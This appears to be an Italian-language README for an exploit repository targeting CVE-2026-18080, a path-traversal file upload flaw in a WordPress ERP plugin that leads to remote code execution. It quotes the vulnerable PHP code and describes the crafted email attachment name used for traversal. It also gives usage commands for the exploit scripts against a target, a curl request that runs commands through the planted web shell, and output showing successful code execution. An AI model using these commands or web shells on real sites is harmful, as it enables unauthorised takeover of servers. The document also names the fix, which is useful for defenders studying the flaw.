
# Exploit per CVE-2026-18080 Exploit per CVE-2026-18080, un upload arbitrario di file non autenticato che porta a RCE in ERP Complete HR, Accounting & CRM Suite. Include script Python e PHP per lo sfruttamento automatizzato.
| Campo | Valore |
|---|
| CVE | https://nvd.nist.gov/vuln/detail/CVE-2026-18080 |
| Wordfence | https://www.wordfence.com/threat-intel/vulnerabilities/id/b9d11eb9-5e18-459f-a9d4-cccb1d593402 |
| Patch | https://plugins.trac.wordpress.org/changeset/3656848/erp |
| CVSS | 9.8 (Critico) |
| CWE | CWE-434 (Caricamento Senza Restrizioni di File con Tipo Pericoloso) |
| Interessati | Versioni del plugin ERP <= 1.17.7 (corretto nella 1.17.8) |
La funzione save_attachments() del plugin ERP in GmailSync.php elabora gli allegati email in arrivo da IMAP senza normalizzazione del percorso. Un attaccante può creare un'email con un nome file come ../../plugins/shell.php e un'intestazione References contraffatta che corrisponde al modello previsto dal plugin. Il processo cron di sincronizzazione IMAP scrive il file al di fuori della directory crm-attachments/ protetta da .htaccess in qualsiasi percorso scrivibile sotto wp-content/.
In GmailSync.php (v1.17.7):
$name = $item['name']; // Nessuna basename() o normalizzazione del percorso
$file = wp_check_filetype( $item['name'] );
// ...
$saved = $wp_filesystem->put_contents( $dir . $name, $item['data'] );
Il nome file ../../plugins/shell.php concatenato con $dir (wp-content/uploads/crm-attachments/) si risolve in wp-content/plugins/shell.php — una directory in cui è consentita l'esecuzione di PHP.
La correzione (v1.17.8) aggiunge sanitize_attachment_filename() che rimuove i componenti di directory tramite basename(), rifiuta i separatori di percorso e blocca le estensioni pericolose.
python3 exploit.py -t https://wordpress.ddev.site
python3 exploit.py -t https://target.com --shell evil.php --path themes
python3 exploit.py -t https://target.com --phpinfo
Dopo il caricamento riuscito:
curl -X POST -d 'cmd=id' 'https://target.com/wp-content/plugins/cve-2026-18080.php'
RESULT: [{"name":"../../plugins/cve-2026-18080.php","slug":"../../plugins/cve-2026-18080.php","path":".../crm-attachments/../../plugins/cve-2026-18080.php"}]
SUCCESS: wp-content/plugins/cve-2026-18080.php (57 bytes)
RCE: uid=1000(god) gid=1000(god)
| File | Descrizione |
|---|---|
exploit.py | Script di exploit Python che utilizza wp-cli |
exploit.php | Exploit PHP autonomo per wp eval-file |
README.md | Questo file |